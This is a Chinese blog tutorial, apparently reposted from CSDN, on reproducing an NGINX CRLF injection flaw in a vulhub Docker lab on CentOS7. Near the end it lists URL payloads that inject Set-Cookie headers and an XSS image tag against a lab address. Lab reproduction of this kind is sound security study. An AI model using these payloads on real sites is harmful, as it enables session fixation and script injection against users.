NGINX-CRLF注入漏洞

复现环境

centos7

docker

nginx

复现过程

现在纯净的CentOS7上安装Docker

curl -sSL https://get.daocloud.io/docker | sh

等Docker安装完毕后,在启动docker服务

service docker start

然后接下来要安装docker-compose

先安装python-pip

yum -y install epel-release yum -y install python-pip

对pip进行升级

pip install --upgrade pip

然后再安装Docker-Compose

pip install docker-compose

中间会报错

 

输入以下命令

pip install --ignore-installed requests

再次安装

pip install docker-compose

然后检查下docker-compose版本

配置下docker镜像加速,这里使用的是阿里云的镜像加速,网站有配置方法,这里不进行赘述

然后从git上下载以下别人打包好的漏洞复现的docker项目

https://github.com/vulhub/vulhub

切换到这个目录下

输入命令

docker-compose up -d

这里8080对应的就是CRLF漏洞

 

 

对于CRLF漏洞的介绍先看这篇文章:https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html

http://192.168.61.143:8080/%0A%0DSet-Cookie:%20a=1%0A%0DSet-cookie:JSPSESSID%3Dwooyun

http://192.168.61.143:8080/%0D%0ASet-Cookie:%20a=1%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>

http://192.168.61.143:8080/%0D%0ASet-Cookie:%20a=1%0d%0a%0d%0a%3Cimg%20src=1%3E

发布了156 篇原创文章 · 获赞 396 · 访问量 66万+

猜你喜欢

转载自blog.csdn.net/nzjdsds/article/details/97615342